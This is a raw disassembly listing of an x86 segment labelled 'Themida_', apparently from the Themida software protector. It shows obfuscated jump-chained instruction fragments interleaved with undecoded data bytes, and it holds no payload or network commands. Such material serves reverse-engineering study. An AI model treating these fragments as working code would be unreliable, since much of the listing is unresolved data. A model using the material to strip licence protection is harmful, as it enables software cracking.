--------------------------------------------------------------------------- loc_53F5E3: ; CODE XREF: Themida_:0053A05Bj add esp, 4 jmp loc_53FB12 ; --------------------------------------------------------------------------- db 87h dd 645C2414h, 0CBE90288h db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F5F7: ; CODE XREF: Themida_:0053BA60j pop esi dec edi xor edi, 883BCF02h or ecx, edi mov edi, [esp] add esp, 4 sub ecx, 1EDDE695h add ebx, ecx jmp loc_539A66 ; --------------------------------------------------------------------------- dd 5FF78058h, 0FC885066h, 8852D4F6h, 5AF788E6h, 0B4505866h dd 34C7808Ah, 0EF80E700h, 2434FF34h, 0FF932DE9h, 81E289FFh dd 4C2h, 4EA8100h, 0E9000000h, 0FFFFFE3Bh ; --------------------------------------------------------------------------- loc_53F64C: ; CODE XREF: Themida_:0053C0BAj push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 jmp loc_5401E0 ; --------------------------------------------------------------------------- db 68h dd 2A20h, 0FF88CBE9h db 0FFh ; --------------------------------------------------------------------------- loc_53F66D: ; CODE XREF: Themida_:0053944Aj push 232Ah jmp loc_53D8FA ; --------------------------------------------------------------------------- loc_53F677: ; CODE XREF: Themida_:005389B2j add esp, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx mov ecx, 0C8F2180h jmp loc_53D042 ; --------------------------------------------------------------------------- dw 0C87h dd 0B7E95C24h db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F6A3: ; CODE XREF: Themida_:0053A7B5j add ebx, 0A204104h mov edx, ebx jmp loc_542C34 ; --------------------------------------------------------------------------- loc_53F6B0: ; CODE XREF: Themida_:00538A24j push dword ptr [esp] pop ebx push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_53CC93 ; --------------------------------------------------------------------------- dd 2EC83ACh, 0FFDFFAE9h, 348156FFh, 534CF524h, 0F535580Ch dd 8B0C534Ch, 0C4812434h, 4, 34FFC329h, 0EC815824h, 4 dd 0E9241C89h, 0FFFF8B5Bh, 601EE1BDh, 0E9E8015Ch, 0FFFF8CEDh ; --------------------------------------------------------------------------- loc_53F704: ; CODE XREF: Themida_:0053BFEDj pop ebp pop eax push esi push 4BE237DBh mov esi, [esp] add esp, 4 add eax, 64214FCCh add eax, esi sub eax, 64214FCCh jmp loc_53A857 ; --------------------------------------------------------------------------- loc_53F726: ; CODE XREF: Themida_:00542BDBj xor [esp], esi xor esi, [esp] pop esp jmp loc_53B07E ; --------------------------------------------------------------------------- dw 8B66h dd 5456240Ch, 76BA525Eh, 0C17BF77Bh, 0EA8102EAh, 1EFDDED9h dd 535AD601h, 4A0945BBh, 0B4F5E948h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F756: ; CODE XREF: Themida_:00539A56j sub esp, 4 mov [esp], edi mov edi, esp jmp loc_5395C0 ; --------------------------------------------------------------------------- loc_53F763: ; CODE XREF: Themida_:00542C43j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_5417F7 ; --------------------------------------------------------------------------- loc_53F777: ; CODE XREF: Themida_:0053B325j mov ecx, 3B8D1C10h xor esi, ecx jmp loc_53F556 ; --------------------------------------------------------------------------- db 5Eh dd 81242C8Bh, 4C4h, 240C3300h, 33240C31h, 15C240Ch, 0E99C2404h dd 0FFFF7622h, 4C381h, 0EC830000h, 242C8904h, 156CA6BDh dd 0D2ED815Fh, 0F769907Ah, 81D5F7DDh, 84F1CFEDh, 0CDC381F5h dd 295E5408h, 0CDEB81EBh, 5D5E5408h, 0FFD9A2E9h, 0E919B2FFh dd 0FFFFF54Ah, 0E914E980h, 10E1h, 52EFF780h, 0B6FDB551h dd 9F92E9F8h, 0C380FFFFh, 1DFEE94Ah, 0C8B0000h, 4C48324h dd 5C24048Fh, 81E68956h, 4C6h, 4C68300h, 8B243487h, 35E92424h db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F81B: ; CODE XREF: Themida_:0053DB27j xor ecx, 0AA856638h sub esi, 25BC44F5h add esi, ecx jmp loc_53A068 ; --------------------------------------------------------------------------- dw 0E389h dd 766FBA52h, 6BE91F8Ch, 59FFFFC4h, 571DB951h, 0E94114AEh dd 0FFFFA6D0h ; --------------------------------------------------------------------------- loc_53F848: ; CODE XREF: Themida_:005397A9j sub edx, 676424EFh add edx, 0B7C39445h sub ebx, edx jmp loc_53888A ; --------------------------------------------------------------------------- db 81h dd 2600FAF3h, 0D3F74B4Dh, 1230C381h, 0D8298672h, 8376E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F872: ; CODE XREF: Themida_:0053CACFj add ecx, edi pop edi add ecx, 4 jmp loc_53D4F0 ; --------------------------------------------------------------------------- db 56h, 0BEh, 2 dd 1000000h, 24348BF0h, 4C481h, 4870000h, 8B665C24h, 0EC83240Ch dd 24348904h, 0FF8458E9h, 8B05ADFFh, 294AA63Bh, 2DBF57D8h dd 504B6F03h, 0A8557BB8h, 1D1D2D5Ah, 0EF815B71h, 9083FB8h dd 0FFF06DE9h, 59CE01FFh, 31243433h, 0EE92434h db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F8D3: ; CODE XREF: Themida_:00542DE6j mov [esp], ecx mov ecx, 0 add ecx, eax add [ecx], esi jmp loc_537517 ; --------------------------------------------------------------------------- loc_53F8E4: ; CODE XREF: Themida_:00542E33j xor eax, ecx jmp loc_537B24 ; --------------------------------------------------------------------------- db 80h dd 0C30023EBh, 8904EC83h, 0B450240Ch, 0F650665Fh, 66012454h dd 1BDBE958h, 46680000h, 89000043h, 5A68240Ch, 0E9000043h dd 0FFFFBC3Fh, 9FE95758h db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F91F: ; CODE XREF: Themida_:0053FEC0j pop edx add al, 69h jmp loc_54205D ; --------------------------------------------------------------------------- loc_53F927: ; CODE XREF: Themida_:0053EEA1j shr ebx, 6 add ebx, 0C8C2A04h push esi mov esi, 7EAB507Fh sub ebx, esi jmp loc_5379CD ; --------------------------------------------------------------------------- db 80h, 0F7h, 54h dd 0F800B904h, 0E95BB92Ch, 3294h, 3A9ABF57h, 0F8297A06h dd 0E0C1405Fh, 9E690506h, 0E9500EE4h, 0FFFFEFDBh, 240C8B66h dd 81E28952h, 4C2h, 4EA8300h, 5C241487h, 89242C89h, 43B951E5h dd 0E9084500h, 1721h, 6804C483h, 1EDCh, 0FFA159E9h, 0FE5AB3FFh dd 80C3FECBh, 0D8284DF3h, 14AFE9h, 7FE95900h db 78h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F9AB: ; CODE XREF: Themida_:005427D5j push esi mov esi, esp add esi, 4 add esi, 4 push esi push dword ptr [esp+4] pop esi jmp loc_53C0BF ; --------------------------------------------------------------------------- dw 0EE83h dd 24343302h, 0FFF434E9h, 0B3C6B1FFh, 0E9CB303Fh, 0FFFFABE0h dd 6F78C581h, 0AFE94CFDh, 83000007h, 88E904C4h db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F9EB: ; CODE XREF: Themida_:0053A029j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_53D985 ; --------------------------------------------------------------------------- db 0BAh, 0D4h, 51h dd 75B825A4h, 1551BFCh, 0C492E9D0h, 6852FFFFh, 259Dh, 0FF9743E9h dd 81DFF7FFh, 90AB1DF7h, 5FFE31A6h, 34FFF029h, 54575E24h dd 342EE9h, 8068AD00h, 89000058h, 6068241Ch, 0FF11CC09h dd 815B2434h, 4C4h, 35142D00h, 0B5E97251h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53FA53: ; CODE XREF: Themida_:0053B942j push esi push 64E3490Bh pop esi jmp loc_53FF28 ; --------------------------------------------------------------------------- db 57h dd 0FFCF86E9h, 5FF801FFh, 0C09C381h, 0EB8119DAh, 181B68DDh dd 1B69EB81h, 0C3015099h, 0FF7D3AE9h, 242C89FFh, 2BDh dd 0F3EE8100h, 15E4463h, 0F3C681EEh, 8B5E4463h, 0C481242Ch dd 4, 2474FF56h, 7FE95E04h, 0BEFFFFB8h, 2, 335EF701h, 3C31243Ch dd 243C3324h, 0FFC256E9h, 0FF7BBFFh, 0CB812B07h, 0BF926EBh dd 0BC7F381h, 0F3816686h, 15483111h, 815BDF89h, 0CFBBB9C7h dd 5FFD29A7h, 875DEF01h, 665C243Ch, 8124148Bh, 4ECh, 243C8900h dd 8904EC83h, 4812424h, 424h, 0EAE95F00h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53FB0B: ; CODE XREF: Themida_:005427CFj and eax, ebp jmp loc_53D0BD ; --------------------------------------------------------------------------- loc_53FB12: ; CODE XREF: Themida_:0053F5E6j add ecx, 55A36E7Dh push eax push edx mov edx, 62C312D5h push ebp mov ebp, 1AF926A9h sub ebp, 1CD18F9h jmp loc_5380EF ; --------------------------------------------------------------------------- dd 4240483h, 40558h, 0EC810000h, 4, 0FFC4BBE9h db 0FFh ; --------------------------------------------------------------------------- loc_53FB45: ; CODE XREF: Themida_:0053B3AEj sub esp, 4 mov [esp], edx push ecx pop edx push edx add dword ptr [esp], 34E26F23h pop ebp sub ebp, 34E26F23h pop edx pop ecx sub [edi+24h], ebp pop ebp jmp loc_53E66F ; --------------------------------------------------------------------------- dw 68h dd 89000034h, 0BAE9243Ch, 0F7FFFF89h, 1F38E9DFh, 0F3810000h dd 5E960F86h, 0E95BDA29h, 0FFFF7236h, 0B3241C89h, 0D4F2E9D9h dd 0E1F7FFFFh, 19FD68h, 24048900h, 0E952E089h, 0FFFFBE98h dd 34FFFB01h, 0C4815F24h, 4, 1B47E9h, 4EC8100h, 89000000h dd 5A542414h, 0DDE95250h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53FBCB: ; CODE XREF: Themida_:00537DEDj push ecx jmp loc_542720 ; --------------------------------------------------------------------------- db 50h, 89h, 0E0h dd 405h, 4E88300h, 2474FF50h, 28E95804h, 8300001Dh, 0D82104C4h dd 0FC0095Bh, 0FFFF7584h, 3E7B68FFh, 37E90000h, 0FF000000h dd 34FF3C77h, 24048B24h, 4C481h, 0EC830000h, 240C8904h dd 0B9E9E189h, 0C1000018h, 63E906EFh db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53FC23: ; CODE XREF: Themida_:00538653j pop esp shl word ptr [esp], cl pushf jmp loc_53725A ; --------------------------------------------------------------------------- dw 0F75Fh dd 0CF27E9D5h, 1489FFFFh, 60BB5324h, 0E9757C66h, 2A4h dd 0E908EFC1h, 8EFh, 89241C89h, 32D0E9E3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53FC56: ; CODE XREF: Themida_:00538CACj push 6856h jmp loc_53AB63 ; --------------------------------------------------------------------------- dd 0E99CC885h, 0FFFF715Ah, 0C281E289h, 4, 0FFBF5FE9h, 24048BFFh dd 1F16E9h, 81686600h, 0C896648h, 0F8B25224h, 515EEA80h dd 0E0E9D188h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53FC93: ; CODE XREF: Themida_:0053FDE9j sub ecx, edx push ebx jmp loc_53D393 ; --------------------------------------------------------------------------- db 81h dd 0D91F55EDh, 81D50117h, 0D91F55C5h, 24148B17h, 5004C483h dd 2B8h, 95B7E900h, 0E952FFFFh, 0FFFFA154h, 94ED8158h dd 29A4D9A3h, 50E95DE8h, 0BDFFFF9Dh, 0DB122B1h, 0EFF8ED81h dd 0EA89C10Eh, 81EAD15Dh, 505B7AF2h, 7637E934h, 0C481FFFFh dd 4, 0EC83EB01h, 24348904h, 0FFE01BE9h, 4C481FFh, 0E9000000h dd 0FFFFFF75h ; --------------------------------------------------------------------------- loc_53FD08: ; CODE XREF: Themida_:0053A073j push edi mov edi, 71BC1D61h add edi, 6E4EB3EFh mov edx, edi pop edi xor edi, edx pop edx sub edx, edi pop edi mov ecx, [edx] pop edx push ebx push ebx mov ebx, esp push 5B05h mov [esp], esi jmp loc_53E2CC ; --------------------------------------------------------------------------- loc_53FD31: ; CODE XREF: Themida_:0053B7B4j add bl, al jmp loc_53BD76 ; --------------------------------------------------------------------------- dd 240C8B66h, 1C368h, 241C8900h, 0EC83E389h, 24348904h dd 4BEh, 5EF30100h, 0B25E9h, 0BF58100h, 1E4C7E9h, 0EE815DEEh dd 76CDD616h db 29h, 0F0h, 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi mov edi, 24BD3F3Eh push edx mov edx, 6ED9279Ch sub edx, 360F1C77h shr edx, 8 shl edx, 7 add edx, 1 xor edx, 4BE37BF3h sub eax, edx mov edx, [esp] jmp loc_5389D6 ; --------------------------------------------------------------------------- db 87h dd 4E781CFh, 8137460Fh, 3F4FF1EFh, 0AACF8137h, 8154E84Dh dd 0F906BBCFh, 0CFF78131h, 0E9F742CAh, 1E52h ; --------------------------------------------------------------------------- loc_53FDD0: ; CODE XREF: Themida_:0053F046j push dword ptr [esp] pop ecx add esp, 4 push edx mov edx, 38300E0h push esi mov esi, 3E502B32h sub ecx, esi pop esi jmp loc_53FC93 ; --------------------------------------------------------------------------- dw 305Ch dd 24148BF0h, 0E904C483h, 369h, 340458h, 0B75366D0h, 66F82834h dd 83241C8Bh, 76E902C4h db 0C3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53FE13: ; CODE XREF: Themida_:005414AAj shl edx, 4 shl edx, 8 sub edx, 59DA3D1Dh shr edx, 6 sub edx, 7CDC60Eh xor esi, edx pop edx mov edi, esi jmp loc_538C9F ; --------------------------------------------------------------------------- dw 0C101h dd 582434FFh, 0E9E08950h, 2D84h ; --------------------------------------------------------------------------- loc_53FE40: ; CODE XREF: Themida_:005401F4j xchg ebx, [esp] pop esp jmp loc_53DB0E ; --------------------------------------------------------------------------- db 5Fh, 83h, 0EEh dd 24343302h, 33243431h, 248B2434h, 4896624h, 6F60E924h dd 0D768FFFFh, 8900005Ah, 8B542404h, 0E9552404h, 0FFFFBAF7h dd 0CCE9CF88h, 0BA000014h, 74AA04DDh, 0FFBFB0E9h, 80E328FFh dd 48B95C3h, 4C48324h, 0F83C380h, 0A268C0B6h, 89000065h dd 8B54240Ch, 0C481240Ch, 4, 588CBB53h, 4AE964CCh db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53FEB3: ; CODE XREF: Themida_:0053EB8Fj push edx mov dl, 0D4h dec dl shr dl, 8 add dl, 0A8h sub al, dl jmp loc_53F91F ; --------------------------------------------------------------------------- db 81h, 0F5h, 2Eh dd 0E976BC7Fh, 0FFFFDD76h ; --------------------------------------------------------------------------- loc_53FED0: ; CODE XREF: Themida_:005388F1j pop dx jmp loc_53E416 ; --------------------------------------------------------------------------- db 66h dd 0E901582Dh, 0FFFFD355h, 0E92434FFh, 0FFFFB2D0h, 7C669EBAh dd 0B716E975h, 8953FFFFh, 4C381E3h, 83000000h, 1C3302C3h dd 241C3124h, 0E9241C33h, 0FFFFAF1Eh, 0E940478Fh, 0FFFF6EAEh dd 0B951E789h, 53350A05h, 0D105E1C1h, 0E95356E9h, 0FFFFB63Eh ; --------------------------------------------------------------------------- loc_53FF28: ; CODE XREF: Themida_:0053FA5Aj shr esi, 8 push edi mov edi, 0BDD2945h sub esi, edi jmp loc_53B80C ; --------------------------------------------------------------------------- loc_53FF38: ; CODE XREF: Themida_:00540084j xor eax, 15F8064Bh jmp loc_537D72 ; --------------------------------------------------------------------------- dw 0C181h dd 4B496419h, 5291F181h, 0D9F702B8h, 0F181D9F7h, 6D38D412h dd 0B933E605h, 2DC82915h, 15B933E6h, 57F82959h, 6D0DC5BFh dd 5FF80117h, 0E79EE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53FF76: ; CODE XREF: Themida_:00536F07j pop ecx add ebx, edi push eax mov eax, 7A8F5D0Bh shl eax, 5 xor eax, 3FDBC729h jmp loc_5423C7 ; --------------------------------------------------------------------------- dd 50241C8Bh, 4055854h, 51000000h, 4B9h, 59C80100h, 5C240487h dd 8B240487h, 4282424h, 0FE99C24h, 81FFFF6Eh, 0D53EB0C6h dd 57EBBB1Fh, 0BA522969h, 0 dd 5253DA29h, 34FF5A5Bh, 24148B24h, 8304C483h, 0BA5204C4h dd 20F16AEh, 0E9EEE957h, 0B850FFFFh, 0EADFC840h, 8958C629h dd 0AE7BE9F2h, 6858FFFFh, 1CADh, 0E9242C89h, 0FFFFEFFBh dd 0FF2434FFh, 81582434h, 4C4h, 0F836800h, 2C890000h, 7B2BE924h dd 0F729FFFFh, 0FFD413E9h, 3B7BBFFFh, 2FE91991h, 0ADFFFFC5h dd 26C8E955h, 0B8500000h, 0AA451FFBh, 0FF821DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54003D: ; CODE XREF: Themida_:0053DB1Cj push edx pop ebp mov edx, [esp] push ecx jmp loc_53D9CE ; --------------------------------------------------------------------------- loc_540048: ; CODE XREF: Themida_:005415DFj xor eax, 6DD66AD2h xor eax, 0BD10DB9Eh jmp loc_538320 ; --------------------------------------------------------------------------- db 0BAh dd 4, 93470D2Dh, 0E9D0013Dh, 0FFFF860Eh, 10E4E953h, 0F0280000h dd 969E9h, 0E0895000h, 4BB53h, 17E90000h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540083: ; CODE XREF: Themida_:0053BB66j pop esp jmp loc_53FF38 ; --------------------------------------------------------------------------- db 89h, 0E6h, 81h dd 4C6h, 4EE8300h, 5C243487h, 0FF240C89h, 8B042474h, 0C481240Ch dd 4, 17EE9h db 0 ; --------------------------------------------------------------------------- loc_5400AD: ; CODE XREF: Themida_:0053A790j push esi jmp loc_540E21 ; --------------------------------------------------------------------------- db 4Eh dd 0F681DEF7h, 20E7051Ch, 0FF95A4E9h, 78832DFFh, 0D0F75116h dd 5B72BC0Dh, 306E3549h, 132D1CC1h, 89CEE6D8h, 1EB7E9C5h dd 0DA880000h, 4AE95Bh, 0C1810000h, 4, 31240C33h, 0C33240Ch dd 4295C24h, 0C3E99C24h, 0E9FFFF6Ch, 0FFFF6CBEh, 7DC5EE81h dd 0F58925BAh, 246C015Eh, 0ABE95D04h db 6Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540117: ; CODE XREF: Themida_:005427C9j push ecx sub dword ptr [esp], 6AC453E6h mov edx, [esp] add esp, 4 add edx, 6AC453E6h jmp loc_539A4D ; --------------------------------------------------------------------------- dd 5A66D400h, 0FFC4E5E9h, 4C481FFh, 0E9000000h, 0FFFF896Ch ; --------------------------------------------------------------------------- loc_540144: ; CODE XREF: Themida_:005379F2j sub esp, 4 mov [esp], ebx mov ebx, 0 add ebx, 46C6680Dh add ebx, eax sub ebx, 46C6680Dh jmp loc_537CBB ; --------------------------------------------------------------------------- db 68h, 0A7h, 21h dd 1C890000h, 0EC815124h, 4, 0E9240489h, 0FFFFA174h, 7E647ABBh dd 0FFDA313Bh, 815B2434h, 4C4h, 9AD5E900h, 0FD01FFFFh dd 6F78ED81h, 3C8B4CFDh, 0DBEFE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5401A2: ; CODE XREF: Themida_:00542C9Dj sub edi, 5F571DD0h add edi, eax jmp loc_539DE3 ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 24041858h, 6C04E99Ch, 6850FFFFh, 6534h, 57240C89h dd 4607EC68h, 2434FF6Bh, 4C4835Fh, 4FFFC783h, 0E907E7C1h dd 0FFFFADF9h ; --------------------------------------------------------------------------- loc_5401E0: ; CODE XREF: Themida_:0053F65Ej mov eax, ecx mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_53FE40 ; --------------------------------------------------------------------------- db 81h, 0C5h, 4 dd 83000000h, 0EE902C5h, 0B9000006h, 0F3E48C3h, 4317C181h dd 6E93A09h, 5BFFFFB3h, 0E924048Fh, 0FFFFBB16h, 0F92A2D5Bh dd 0E3E9CE0Eh, 8FFFFFB6h, 665C2404h, 0E9240C8Bh, 0FFFFF981h dd 6824148Bh, 6DC7h, 1D6DE9h, 8BD70100h, 0C4812414h, 4 dd 242C8157h, 0FFFFFFFFh, 0FF875AE9h, 6B60E9FFh, 835BFFFFh dd 0C3E904C4h, 83FFFF9Dh, 0EC8104C4h, 4, 55240489h, 0E8240F68h dd 814D5D41h, 7424CAE5h, 1FCD813Ch, 8117C048h, 1F93E3C5h dd 5DE889E8h, 5758C701h, 42474FFh, 24048F5Fh, 0FFAC2DE9h dd 6BC281FFh, 2131C565h, 0BE565AD7h, 4BB22CFCh, 433AF681h dd 0CE817021h, 25C139AAh, 454AEE81h, 0C68161AAh, 0FE8AC4D9h dd 4DE9F701h, 28FFFF81h, 0F5866E3h, 8B66C0B6h, 89562414h dd 4BD55E6h, 1000000h, 0C3CCE9EEh, 0EB81FFFFh, 1D6B45DCh dd 241C875Ah, 0F624248Bh, 0B60F66F1h, 3EFE9CCh, 0C6FE0000h dd 66A8CE80h, 0E97CB551h, 0FFFFB5B7h, 54240489h, 0C2E95758h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54031F: ; CODE XREF: Themida_:005378A9j mov eax, [esp] jmp loc_53F304 ; --------------------------------------------------------------------------- db 0FFh dd 589D1C77h, 9C240419h, 0FF6A8DE9h db 0FFh ; --------------------------------------------------------------------------- loc_540335: ; CODE XREF: Themida_:00541AE4j pop ebx push 36E6h mov [esp], esi push esp jmp loc_53C8C6 ; --------------------------------------------------------------------------- dd 0E924048Fh, 0FFFF8F67h ; --------------------------------------------------------------------------- loc_54034C: ; CODE XREF: Themida_:0053EE32j sub edi, 26C32009h jmp loc_54107E ; --------------------------------------------------------------------------- aIslS db '┴И▀,$И╟!',0 dd 51570400h, 0C8286AB1h, 240C8B59h, 5DA68h, 24048900h dd 0FFC62EE9h, 0E78957FFh, 724BB951h, 0F1816F91h, 6F91724Fh dd 0C8BCF01h, 4C48324h, 4B04B951h, 0E1C10C79h, 0C0C98106h dd 810BF972h, 0FBF3BCE9h, 59CF291Fh, 8B243C87h, 34892424h dd 0A1685224h, 0E95E1E20h, 0FFFFE590h, 5652515Ch, 0C681E689h dd 4, 0FF833EE9h, 243C33FFh, 6624248Bh, 9C240421h, 0FF69E5E9h dd 0C8B66FFh, 4EC8324h, 0FFE8A0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5403E9: ; CODE XREF: Themida_:0053EEE0j inc ebp xchg ebp, edi add edi, 92D8855Ah jmp loc_53A710 ; --------------------------------------------------------------------------- db 31h dd 1C33241Ch, 24248B24h, 9C243CD3h, 0FFEDE0E9h db 0FFh ; --------------------------------------------------------------------------- loc_540409: ; CODE XREF: Themida_:0054099Aj mov esi, 298E2479h sub edx, 57582009h jmp loc_541477 ; --------------------------------------------------------------------------- loc_540419: ; CODE XREF: Themida_:0053D473j push edi mov edi, 773A6A7Ah dec edi xor edi, 1A1D10D0h jmp loc_53EEDE ; --------------------------------------------------------------------------- db 0C0h dd 0C68004EEh, 0A39E937h, 0ABBE0000h, 1524A67h, 3C8B5EF2h dd 4C48324h, 0FF6979E9h, 76E95CFFh db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54044F: ; CODE XREF: Themida_:0053B807j push ebx xor dword ptr [esp], 544873ABh pop eax xor eax, 544873ABh pop ebx mov edx, eax pop eax push ecx mov ecx, 24D23A74h neg ecx sub ecx, 78BB4412h dec ecx not ecx xor ecx, 16F610F0h sub edx, ecx pop ecx xor ebp, edx pop edx sub [edx+30h], ebp pop ebp add dword ptr [edx+30h], 0FFFFFFFFh xor dword ptr [edx+30h], 914A33Ch popa jmp loc_53CA3C ; --------------------------------------------------------------------------- db 8Bh dd 0C4812414h, 4, 0A799E958h, 0BF57FFFFh, 63780AFEh, 3C8BFA29h dd 4C48324h, 83243C8Bh, 9CE904C4h, 0FFFFFFD0h, 2FE92434h dd 51FFFFFBh, 4B850h, 0C1890000h, 8324048Bh, 0CB0104C4h dd 241C8759h, 6824248Bh, 1EE0h, 54240C89h, 75B46859h, 14890000h dd 4BA24h, 0D1010000h, 0FFA89DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5404F9: ; CODE XREF: Themida_:0053D8B5j sub edi, 4 jmp loc_5405FE ; --------------------------------------------------------------------------- db 0B9h, 2, 0 dd 0EA810000h, 7FB91802h, 0DCE9CA01h, 83000020h, 3C8704C7h dd 0BF0F5C24h, 7C4768C8h, 3C890000h, 83E78924h, 48904ECh dd 46824h, 48B0000h, 6CE95124h, 50FFFFCBh, 0FFEB0AE9h dd 0B35358FFh, 2E3C014h, 0E906E3C0h, 0FFFFBBF0h, 4244C01h dd 4244481h, 0BD382Fh, 24348B59h, 0FFB465E9h, 54EF81FFh dd 5D5C071Dh, 0E902C783h, 0FFFFD30Bh, 4ABFE981h, 81490B49h dd 0F13466F1h, 63C1811Ch, 811A4A0Bh, 0E02714C1h, 8BCA01A4h dd 8956240Ch, 4C681E6h, 83000000h, 348704C6h, 0FF525C24h dd 0FF042474h, 0E2E92434h, 5AFFFFB1h, 0FF7A8EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5405B5: ; CODE XREF: Themida_:00542B01j pop ebx sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi push 1 pop esi mov edx, esi jmp loc_53CE2B ; --------------------------------------------------------------------------- aWs@ db '^WИ@"',0 align 4 dd 0F66C331h, 0EC8100B6h, 4, 89241C89h, 4C381E3h, 52000000h dd 8904EC83h, 2BE2434h, 89000000h, 0FFCFE9F2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5405FE: ; CODE XREF: Themida_:005404FCj xchg edi, [esp] pop esp mov [esp], ebx add dword ptr [esp], 4A4E755Fh push dword ptr [esp] jmp loc_5427D4 ; --------------------------------------------------------------------------- loc_540614: ; CODE XREF: Themida_:0053EA39j push edx mov edx, esp push ebp mov ebp, 4 add edx, ebp pop ebp add edx, 4 xchg edx, [esp] mov esp, [esp] and eax, esi mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_539CC2 ; --------------------------------------------------------------------------- db 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 29EC069Eh xor edx, 29EC069Ah add ebp, edx pop edx add ebp, 4 xchg ebp, [esp] jmp loc_53A4C3 ; --------------------------------------------------------------------------- loc_540666: ; CODE XREF: Themida_:005371E0j mov dh, 0BDh mov ah, dh mov dx, [esp] add esp, 2 push dx jmp loc_53B22A ; --------------------------------------------------------------------------- dd 951F9905h, 2DD00120h, 20951F99h, 0CE5AE95Ah, 0F668FFFFh dd 89000039h, 0E589242Ch, 4C581h, 0C5830000h, 0F09E904h dd 0E2890000h, 1032BE56h, 4E4E3988h, 0FF968EE9h, 4C481FFh dd 83000000h, 0FDE904ECh, 100000Eh, 241C8BDEh, 4EC8353h dd 0FFC9C4E9h, 4C481FFh, 0E9000000h, 0FFFFBAD7h ; --------------------------------------------------------------------------- loc_5406D8: ; CODE XREF: Themida_:00541429j pop esp not ecx xor ebx, ecx xor ecx, ebx xor ebx, ecx push eax push ebx jmp loc_542C7D ; --------------------------------------------------------------------------- loc_5406E8: ; CODE XREF: Themida_:0053A198j mov [esp], esi mov esi, 1 jmp loc_536E9A ; --------------------------------------------------------------------------- db 55h, 54h, 5Dh dd 0FF791FE9h, 0E6B951FFh, 29681138h, 240C8BCDh, 57E18951h dd 2CF6B951h, 0E1816CE1h, 27C173D7h, 0B2D6E949h, 8966FFFFh dd 0F66240Ch, 5166C8B6h, 6694E99Ch, 8B66FFFFh, 5668240Ch dd 89000056h, 6BE9243Ch db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54073F: ; CODE XREF: Themida_:00539A61j neg ecx push edi jmp loc_53C7FF ; --------------------------------------------------------------------------- loc_540747: ; CODE XREF: Themida_:00539547j add edx, esi mov esi, [esp] add esp, 4 add edx, 4 push edx jmp loc_53EDB7 ; --------------------------------------------------------------------------- aIuho3 db '┴Цho3',0 align 2 dw 0A7E9h dd 31FFFFE0h, 0FCE95DEBh, 58FFFFB3h, 2C781h, 0B8E90000h dd 81FFFF9Fh, 0E00473EDh, 0A55AE90Bh, 0CA01FFFFh, 7321E959h dd 8351FFFFh, 1C8904ECh, 81E38924h, 4C3h, 4EB8300h, 5C241C87h dd 0E9242489h, 0FFFFDD03h, 8704C683h, 57E92434h, 81FFFFE7h dd 4D3E95CEh, 0D9E94616h, 31FFFFB9h, 0ACE92434h, 66FFFFB2h dd 50243C87h, 405E089h, 2D000000h, 2, 5C240487h, 243C8966h dd 0FFCFBCE9h db 0FFh ; --------------------------------------------------------------------------- loc_5407E9: ; CODE XREF: Themida_:0053E37Fj mov ebp, esi jmp loc_53710F ; --------------------------------------------------------------------------- aQiHE db 'Q┬яh%E',0 align 4 dd 88241C89h, 2E5768CFh, 14890000h, 0FC885024h, 48BE288h dd 4C48324h, 0FFCE67E9h, 242C33FFh, 0FF7DC7E9h, 2434FFFFh dd 0E7895759h, 50EEBB53h, 0C3812859h, 0D7A6AF16h, 815BDF01h dd 4ECh, 240C8900h, 104243B9h, 0D1F74931h, 23F9C981h, 52410014h dd 0C281E289h, 4, 0FFD110E9h, 68FFh, 1C8B0000h, 0E9545324h dd 0FFFF7B44h, 0C08FB652h, 0EE8004E6h, 0B73DE977h, 34FFFFFFh dd 955FE924h, 0EC83FFFFh, 242C8904h, 0FF7A5BE9h, 0E9FB09FFh dd 0FFFFD642h, 8A65FBB9h, 8AF18142h, 0E915C401h, 0FFFF6983h dd 3D068EBBh, 5BD80129h, 2404335Eh, 33240431h, 248B2404h dd 0C8B60F24h, 